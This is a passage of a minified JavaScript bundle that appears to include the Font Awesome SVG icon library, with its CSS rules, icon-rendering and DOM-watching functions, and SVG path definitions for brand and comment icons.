1.25em;\\n}\\n\\n.fa-layers svg.svg-inline--fa {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.fa-layers {\\n display: inline-block;\\n height: 1em;\\n position: relative;\\n text-align: center;\\n vertical-align: -0.125em;\\n width: 1em;\\n}\\n.fa-layers svg.svg-inline--fa {\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter, .fa-layers-text {\\n display: inline-block;\\n position: absolute;\\n text-align: center;\\n}\\n\\n.fa-layers-text {\\n left: 50%;\\n top: 50%;\\n -webkit-transform: translate(-50%, -50%);\\n transform: translate(-50%, -50%);\\n -webkit-transform-origin: center center;\\n transform-origin: center center;\\n}\\n\\n.fa-layers-counter {\\n background-color: #ff253a;\\n border-radius: 1em;\\n -webkit-box-sizing: border-box;\\n box-sizing: border-box;\\n color: #fff;\\n height: 1.5em;\\n line-height: 1;\\n max-width: 5em;\\n min-width: 1.5em;\\n overflow: hidden;\\n padding: 0.25em;\\n right: 0;\\n text-overflow: ellipsis;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-bottom-right {\\n bottom: 0;\\n right: 0;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom right;\\n transform-origin: bottom right;\\n}\\n\\n.fa-layers-bottom-left {\\n bottom: 0;\\n left: 0;\\n right: auto;\\n top: auto;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: bottom left;\\n transform-origin: bottom left;\\n}\\n\\n.fa-layers-top-right {\\n right: 0;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top right;\\n transform-origin: top right;\\n}\\n\\n.fa-layers-top-left {\\n left: 0;\\n right: auto;\\n top: 0;\\n -webkit-transform: scale(0.25);\\n transform: scale(0.25);\\n -webkit-transform-origin: top left;\\n transform-origin: top left;\\n}\\n\\n.fa-lg {\\n font-size: 1.3333333333em;\\n line-height: 0.75em;\\n vertical-align: -0.0667em;\\n}\\n\\n.fa-xs {\\n font-size: 0.75em;\\n}\\n\\n.fa-sm {\\n font-size: 0.875em;\\n}\\n\\n.fa-1x {\\n font-size: 1em;\\n}\\n\\n.fa-2x {\\n font-size: 2em;\\n}\\n\\n.fa-3x {\\n font-size: 3em;\\n}\\n\\n.fa-4x {\\n font-size: 4em;\\n}\\n\\n.fa-5x {\\n font-size: 5em;\\n}\\n\\n.fa-6x {\\n font-size: 6em;\\n}\\n\\n.fa-7x {\\n font-size: 7em;\\n}\\n\\n.fa-8x {\\n font-size: 8em;\\n}\\n\\n.fa-9x {\\n font-size: 9em;\\n}\\n\\n.fa-10x {\\n font-size: 10em;\\n}\\n\\n.fa-fw {\\n text-align: center;\\n width: 1.25em;\\n}\\n\\n.fa-ul {\\n list-style-type: none;\\n margin-left: 2.5em;\\n padding-left: 0;\\n}\\n.fa-ul > li {\\n position: relative;\\n}\\n\\n.fa-li {\\n left: -2em;\\n position: absolute;\\n text-align: center;\\n width: 2em;\\n line-height: inherit;\\n}\\n\\n.fa-border {\\n border: solid 0.08em #eee;\\n border-radius: 0.1em;\\n padding: 0.2em 0.25em 0.15em;\\n}\\n\\n.fa-pull-left {\\n float: left;\\n}\\n\\n.fa-pull-right {\\n float: right;\\n}\\n\\n.fa.fa-pull-left,\\n.fas.fa-pull-left,\\n.far.fa-pull-left,\\n.fal.fa-pull-left,\\n.fab.fa-pull-left {\\n margin-right: 0.3em;\\n}\\n.fa.fa-pull-right,\\n.fas.fa-pull-right,\\n.far.fa-pull-right,\\n.fal.fa-pull-right,\\n.fab.fa-pull-right {\\n margin-left: 0.3em;\\n}\\n\\n.fa-spin {\\n -webkit-animation: fa-spin 2s infinite linear;\\n animation: fa-spin 2s infinite linear;\\n}\\n\\n.fa-pulse {\\n -webkit-animation: fa-spin 1s infinite steps(8);\\n animation: fa-spin 1s infinite steps(8);\\n}\\n\\n@-webkit-keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n\\n@keyframes fa-spin {\\n 0% {\\n -webkit-transform: rotate(0deg);\\n transform: rotate(0deg);\\n }\\n 100% {\\n -webkit-transform: rotate(360deg);\\n transform: rotate(360deg);\\n }\\n}\\n.fa-rotate-90 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)";\\n -webkit-transform: rotate(90deg);\\n transform: rotate(90deg);\\n}\\n\\n.fa-rotate-180 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";\\n -webkit-transform: rotate(180deg);\\n transform: rotate(180deg);\\n}\\n\\n.fa-rotate-270 {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)";\\n -webkit-transform: rotate(270deg);\\n transform: rotate(270deg);\\n}\\n\\n.fa-flip-horizontal {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)";\\n -webkit-transform: scale(-1, 1);\\n transform: scale(-1, 1);\\n}\\n\\n.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(1, -1);\\n transform: scale(1, -1);\\n}\\n\\n.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical {\\n -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)";\\n -webkit-transform: scale(-1, -1);\\n transform: scale(-1, -1);\\n}\\n\\n:root .fa-rotate-90,\\n:root .fa-rotate-180,\\n:root .fa-rotate-270,\\n:root .fa-flip-horizontal,\\n:root .fa-flip-vertical,\\n:root .fa-flip-both {\\n -webkit-filter: none;\\n filter: none;\\n}\\n\\n.fa-stack {\\n display: inline-block;\\n height: 2em;\\n position: relative;\\n width: 2.5em;\\n}\\n\\n.fa-stack-1x,\\n.fa-stack-2x {\\n bottom: 0;\\n left: 0;\\n margin: auto;\\n position: absolute;\\n right: 0;\\n top: 0;\\n}\\n\\n.svg-inline--fa.fa-stack-1x {\\n height: 1em;\\n width: 1.25em;\\n}\\n.svg-inline--fa.fa-stack-2x {\\n height: 2em;\\n width: 2.5em;\\n}\\n\\n.fa-inverse {\\n color: #fff;\\n}\\n\\n.sr-only {\\n border: 0;\\n clip: rect(0, 0, 0, 0);\\n height: 1px;\\n margin: -1px;\\n overflow: hidden;\\n padding: 0;\\n position: absolute;\\n width: 1px;\\n}\\n\\n.sr-only-focusable:active, .sr-only-focusable:focus {\\n clip: auto;\\n height: auto;\\n margin: 0;\\n overflow: visible;\\n position: static;\\n width: auto;\\n}\\n\\n.svg-inline--fa .fa-primary {\\n fill: var(--fa-primary-color, currentColor);\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa .fa-secondary {\\n fill: var(--fa-secondary-color, currentColor);\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-primary {\\n opacity: 0.4;\\n opacity: var(--fa-secondary-opacity, 0.4);\\n}\\n\\n.svg-inline--fa.fa-swap-opacity .fa-secondary {\\n opacity: 1;\\n opacity: var(--fa-primary-opacity, 1);\\n}\\n\\n.svg-inline--fa mask .fa-primary,\\n.svg-inline--fa mask .fa-secondary {\\n fill: black;\\n}\\n\\n.fad.fa-inverse {\\n color: #fff;\\n}\';function bn(){var ye=Ye,st=qe,I=b.familyPrefix,L=b.replacementClass,T=Xi;if(I!==ye||L!==st){var ue=new RegExp("\\\\.".concat(ye,"\\\\-"),"g"),gt=new RegExp("\\\\--".concat(ye,"\\\\-"),"g"),Ot=new RegExp("\\\\.".concat(st),"g");T=T.replace(ue,".".concat(I,"-")).replace(gt,"--".concat(I,"-")).replace(Ot,".".concat(L))}return T}function un(){b.autoAddCss&&!pi&&(ut(bn()),pi=!0)}function en(ye,st){return Object.defineProperty(ye,"abstract",{get:st}),Object.defineProperty(ye,"html",{get:function(){return ye.abstract.map(function(L){return Mn(L)})}}),Object.defineProperty(ye,"node",{get:function(){if(Ze){var L=q.createElement("div");return L.innerHTML=ye.html,L.children}}}),ye}function Mi(ye){var st=ye.prefix,I=void 0===st?"fa":st,L=ye.iconName;if(L)return Cn(_n.definitions,I,L)||Cn(ie.styles,I,L)}var _n=new(function(){function ye(){(function a(ye,st){if(!(ye instanceof st))throw new TypeError("Cannot call a class as a function")})(this,ye),this.definitions={}}return function u(ye,st,I){st&&s(ye.prototype,st),I&&s(ye,I)}(ye,[{key:"add",value:function(){for(var I=this,L=arguments.length,T=new Array(L),ue=0;ue<L;ue++)T[ue]=arguments[ue];var gt=T.reduce(this._pullDefinitions,{});Object.keys(gt).forEach(function(Ot){I.definitions[Ot]=f({},I.definitions[Ot]||{},gt[Ot]),Gn(Ot,gt[Ot]),X1()})}},{key:"reset",value:function(){this.definitions={}}},{key:"_pullDefinitions",value:function(I,L){var T=L.prefix&&L.iconName&&L.icon?{0:L}:L;return Object.keys(T).map(function(ue){var gt=T[ue],Ot=gt.prefix,Jt=gt.iconName,Tt=gt.icon;I[Ot]||(I[Ot]={}),I[Ot][Jt]=Tt}),I}}]),ye}()),pi=!1,si={i2svg:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};if(Ze){un();var I=st.node,L=void 0===I?q:I,T=st.callback,ue=void 0===T?function(){}:T;return b.searchPseudoElements&&Oi(L),o2(L,ue)}return at.reject("Operation requires a DOM of some kind.")},css:bn,insertCss:function(){pi||(ut(bn()),pi=!0)},watch:function(){var st=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},I=st.autoReplaceSvgRoot,L=st.observeMutationsRoot;!1===b.autoReplaceSvg&&(b.autoReplaceSvg=!0),b.observeMutations=!0,function Vt(ye){Ze&&(wt?setTimeout(ye,0):Xe.push(ye))}(function(){c2({autoReplaceSvgRoot:I}),function ui(ye){if(we&&b.observeMutations){var st=ye.treeCallback,I=ye.nodeCallback,L=ye.pseudoElementsCallback,T=ye.observeMutationsRoot,ue=void 0===T?q:T;Hn=new we(function(gt){dn||a1(gt).forEach(function(Ot){if("childList"===Ot.type&&Ot.addedNodes.length>0&&!ri(Ot.addedNodes[0])&&(b.searchPseudoElements&&L(Ot.target),st(Ot.target)),"attributes"===Ot.type&&Ot.target.parentNode&&b.searchPseudoElements&&L(Ot.target.parentNode),"attributes"===Ot.type&&ri(Ot.target)&&~ct.indexOf(Ot.attributeName))if("class"===Ot.attributeName){var Jt=L1(_1(Ot.target)),Tt=Jt.prefix,t1=Jt.iconName;Tt&&Ot.target.setAttribute("data-prefix",Tt),t1&&Ot.target.setAttribute("data-icon",t1)}else I(Ot.target)})}),Ze&&Hn.observe(ue,{childList:!0,attributes:!0,characterData:!0,subtree:!0})}}({treeCallback:o2,nodeCallback:Li,pseudoElementsCallback:Oi,observeMutationsRoot:L})})}},Vn={transform:function(st){return zi(st)}},v2=function m2(ye){return function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=(st||{}).icon?st:Mi(st||{}),T=I.mask;return T&&(T=(T||{}).icon?T:Mi(T||{})),ye(L,f({},I,{mask:T}))}}(function(ye){var st=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},I=st.transform,L=void 0===I?ot:I,T=st.symbol,ue=void 0!==T&&T,gt=st.mask,Ot=void 0===gt?null:gt,Jt=st.maskId,Tt=void 0===Jt?null:Jt,t1=st.title,O1=void 0===t1?null:t1,an=st.titleId,W1=void 0===an?null:an,Bn=st.classes,Dn=void 0===Bn?[]:Bn,sn=st.attributes,Yn=void 0===sn?{}:sn,qn=st.styles,xi=void 0===qn?{}:qn;if(ye){var Wn=ye.prefix,Te=ye.iconName,y=ye.icon;return en(f({type:"icon"},ye),function(){return un(),b.autoA11y&&(O1?Yn["aria-labelledby"]="".concat(b.replacementClass,"-title-").concat(W1||Zt()):(Yn["aria-hidden"]="true",Yn.focusable="false")),Wt({icons:{main:bi(y),mask:Ot?bi(Ot.icon):{found:!1,width:null,height:null,icon:{}}},prefix:Wn,iconName:Te,transform:f({},ot,L),symbol:ue,title:O1,maskId:Tt,titleId:W1,extra:{attributes:Yn,styles:xi,classes:Dn}})})}}),w2={noAuto:function(){b.autoReplaceSvg=!1,b.observeMutations=!1,function pn(){Hn&&Hn.disconnect()}()},config:b,dom:si,library:_n,parse:Vn,findIconDefinition:Mi,icon:v2,text:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.transform,T=void 0===L?ot:L,ue=I.title,gt=void 0===ue?null:ue,Ot=I.classes,Jt=void 0===Ot?[]:Ot,Tt=I.attributes,t1=void 0===Tt?{}:Tt,O1=I.styles,an=void 0===O1?{}:O1;return en({type:"text",content:st},function(){return un(),p1({content:st,transform:f({},ot,T),title:gt,extra:{attributes:t1,styles:an,classes:["".concat(b.familyPrefix,"-layers-text")].concat(_(Jt))}})})},counter:function(st){var I=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},L=I.title,T=void 0===L?null:L,ue=I.classes,gt=void 0===ue?[]:ue,Ot=I.attributes,Jt=void 0===Ot?{}:Ot,Tt=I.styles,t1=void 0===Tt?{}:Tt;return en({type:"counter",content:st},function(){return un(),function w1(ye){var st=ye.content,I=ye.title,L=ye.extra,T=f({},L.attributes,I?{title:I}:{},{class:L.classes.join(" ")}),ue=P1(L.styles);ue.length>0&&(T.style=ue);var gt=[];return gt.push({tag:"span",attributes:T,children:[st]}),I&>.push({tag:"span",attributes:{class:"sr-only"},children:[I]}),gt}({content:st.toString(),title:T,extra:{attributes:Jt,styles:t1,classes:["".concat(b.familyPrefix,"-layers-counter")].concat(_(gt))}})})},layer:function(st){var L=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).classes,T=void 0===L?[]:L;return en({type:"layer"},function(){un();var ue=[];return st(function(gt){Array.isArray(gt)?gt.map(function(Ot){ue=ue.concat(Ot.abstract)}):ue=ue.concat(gt.abstract)}),[{tag:"span",attributes:{class:["".concat(b.familyPrefix,"-layers")].concat(_(T)).join(" ")},children:ue}]})},toHtml:Mn},c2=function(){var I=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).autoReplaceSvgRoot,L=void 0===I?q:I;(Object.keys(ie.styles).length>0||b.autoFetchSvg)&&Ze&&b.autoReplaceSvg&&w2.dom.i2svg({node:L})}},5767:(At,ae,d)=>{"use strict";d.d(ae,{HK3:()=>ia,IxA:()=>De,SrY:()=>d1,To0:()=>En,g7i:()=>R,hV2:()=>Li,mdU:()=>fa,neY:()=>li,ts2:()=>ir,uy2:()=>Ta,xYR:()=>bn,zhw:()=>ai});var De={prefix:"fab",iconName:"bitcoin",icon:[512,512,[],"f379","M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"]},R={prefix:"fab",iconName:"btc",icon:[384,512,[],"f15a","M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z"]},li={prefix:"fab",iconName:"facebook",icon:[512,512,[],"f09a","M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"]},ai={prefix:"fab",iconName:"github",icon:[496,512,[],"f09b","M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6zm-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3zm44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9zM244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8zM97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1zm-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7zm32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1zm-11.4-14.7c-1.6 1-1.6 3.6 0 5.9 1.6 2.3 4.3 3.3 5.6 2.3 1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2z"]},Li={prefix:"fab",iconName:"gitter",icon:[384,512,[],"f426","M66.4 322.5H16V0h50.4v322.5zM166.9 76.1h-50.4V512h50.4V76.1zm100.6 0h-50.4V512h50.4V76.1zM368 76h-50.4v247H368V76z"]},bn={prefix:"fab",iconName:"google",icon:[488,512,[],"f1a0","M488 261.8C488 403.3 391.1 504 248 504 110.8 504 0 393.2 0 256S110.8 8 248 8c66.8 0 123 24.5 166.3 64.9l-67.5 64.9C258.5 52.6 94.3 116.6 94.3 256c0 86.5 69.1 156.6 153.7 156.6 98.2 0 135-70.4 140.8-106.9H248v-85.3h236.1c2.3 12.7 3.9 24.9 3.9 41.4z"]},En={prefix:"fab",iconName:"leanpub",icon:[576,512,[],"f212","M386.539 111.485l15.096 248.955-10.979-.275c-36.232-.824-71.64 8.783-102.657 27.997-31.016-19.214-66.424-27.997-102.657-27.997-45.564 0-82.07 10.705-123.516 27.723L93.117 129.6c28.546-11.803 61.484-18.115 92.226-18.115 41.173 0 73.836 13.175 102.657 42.544 27.723-28.271 59.013-41.721 98.539-42.544zM569.07 448c-25.526 0-47.485-5.215-70.542-15.645-34.31-15.645-69.993-24.978-107.871-24.978-38.977 0-74.934 12.901-102.657 40.623-27.723-27.723-63.68-40.623-102.657-40.623-37.878 0-73.561 9.333-107.871 24.978C55.239 442.236 32.731 448 8.303 448H6.93L49.475 98.859C88.726 76.626 136.486 64 181.775 64 218.83 64 256.984 71.685 288 93.095 319.016 71.685 357.17 64 394.225 64c45.289 0 93.049 12.626 132.3 34.859L569.07 448zm-43.368-44.741l-34.036-280.246c-30.742-13.999-67.248-21.41-101.009-21.41-38.428 0-74.385 12.077-102.657 38.702-28.272-26.625-64.228-38.702-102.657-38.702-33.761 0-70.267 7.411-101.009 21.41L50.298 403.259c47.211-19.487 82.894-33.486 135.045-33.486 37.604 0 70.817 9.606 102.657 29.644 31.84-20.038 65.052-29.644 102.657-29.644 52.151 0 87.834 13.999 135.045 33.486z"]},ia={prefix:"fab",iconName:"reddit",icon:[512,512,[],"f1a1","M201.5 305.5c-13.8 0-24.9-11.1-24.9-24.6 0-13.8 11.1-24.9 24.9-24.9 13.6 0 24.6 11.1 24.6 24.9 0 13.6-11.1 24.6-24.6 24.6zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-132.3-41.2c-9.4 0-17.7 3.9-23.8 10-22.4-15.5-52.6-25.5-86.1-26.6l17.4-78.3 55.4 12.5c0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.3 24.9-24.9s-11.1-24.9-24.9-24.9c-9.7 0-18 5.8-22.1 13.8l-61.2-13.6c-3-.8-6.1 1.4-6.9 4.4l-19.1 86.4c-33.2 1.4-63.1 11.3-85.5 26.8-6.1-6.4-14.7-10.2-24.1-10.2-34.9 0-46.3 46.9-14.4 62.8-1.1 5-1.7 10.2-1.7 15.5 0 52.6 59.2 95.2 132 95.2 73.1 0 132.3-42.6 132.3-95.2 0-5.3-.6-10.8-1.9-15.8 31.3-16 19.8-62.5-14.9-62.5zM302.8 331c-18.2 18.2-76.1 17.9-93.6 0-2.2-2.2-6.1-2.2-8.3 0-2.5 2.5-2.5 6.4 0 8.6 22.8 22.8 87.3 22.8 110.2 0 2.5-2.2 2.5-6.1 0-8.6-2.2-2.2-6.1-2.2-8.3 0zm7.7-75c-13.6 0-24.6 11.1-24.6 24.9 0 13.6 11.1 24.6 24.6 24.6 13.8 0 24.9-11.1 24.9-24.6 0-13.8-11-24.9-24.9-24.9z"]},d1={prefix:"fab",iconName:"slack",icon:[448,512,[],"f198","M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"]},Ta={prefix:"fab",iconName:"stripe",icon:[640,512,[],"f429","M165 144.7l-43.3 9.2-.2 142.4c0 26.3 19.8 43.3 46.1 43.3 14.6 0 25.3-2.7 31.2-5.9v-33.8c-5.7 2.3-33.7 10.5-33.7-15.7V221h33.7v-37.8h-33.7zm89.1 51.6l-2.7-13.1H213v153.2h44.3V233.3c10.5-13.8 28.2-11.1 33.9-9.3v-40.8c-6-2.1-26.7-6-37.1 13.1zm92.3-72.3l-44.6 9.5v36.2l44.6-9.5zM44.9 228.3c0-6.9 5.8-9.6 15.1-9.7 13.5 0 30.7 4.1 44.2 11.4v-41.8c-14.7-5.8-29.4-8.1-44.1-8.1-36 0-60 18.8-60 50.2 0 49.2 67.5 41.2 67.5 62.4 0 8.2-7.1 10.9-17 10.9-14.7 0-33.7-6.1-48.6-14.2v40c16.5 7.1 33.2 10.1 48.5 10.1 36.9 0 62.3-15.8 62.3-47.8 0-52.9-67.9-43.4-67.9-63.4zM640 261.6c0-45.5-22-81.4-64.2-81.4s-67.9 35.9-67.9 81.1c0 53.5 30.3 78.2 73.5 78.2 21.2 0 37.1-4.8 49.2-11.5v-33.4c-12.1 6.1-26 9.8-43.6 9.8-17.3 0-32.5-6.1-34.5-26.9h86.9c.2-2.3.6-11.6.6-15.9zm-87.9-16.8c0-20 12.3-28.4 23.4-28.4 10.9 0 22.5 8.4 22.5 28.4zm-112.9-64.6c-17.4 0-28.6 8.2-34.8 13.9l-2.3-11H363v204.8l44.4-9.4.1-50.2c6.4 4.7 15.9 11.2 31.4 11.2 31.8 0 60.8-23.2 60.8-79.6.1-51.6-29.3-79.7-60.5-79.7zm-10.6 122.5c-10.4 0-16.6-3.8-20.9-8.4l-.3-66c4.6-5.1 11-8.8 21.2-8.8 16.2 0 27.4 18.2 27.4 41.4.1 23.9-10.9 41.8-27.4 41.8zm-126.7 33.7h44.6V183.2h-44.6z"]},fa={prefix:"fab",iconName:"twitter",icon:[512,512,[],"f099","M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z"]},ir={prefix:"fab",iconName:"windows",icon:[448,512,[],"f17a","M0 93.7l183.6-25.3v177.4H0V93.7zm0 324.6l183.6 25.3V268.4H0v149.9zm203.8 28L448 480V268.4H203.8v177.9zm0-380.6v180.1H448V32L203.8 65.7z"]}},534:(At,ae,d)=>{"use strict";d.d(ae,{Eg:()=>Ye,I7:()=>Hn,T:()=>Mn,Xc:()=>We,Xg:()=>V1,fG:()=>Vt,lX:()=>Ke});var Ye={prefix:"far",iconName:"comment-alt",icon:[512,512,[],"f27a","M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"]},Ke={prefix:"far",iconName:"comments",icon:[576,512,[],"f086","M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 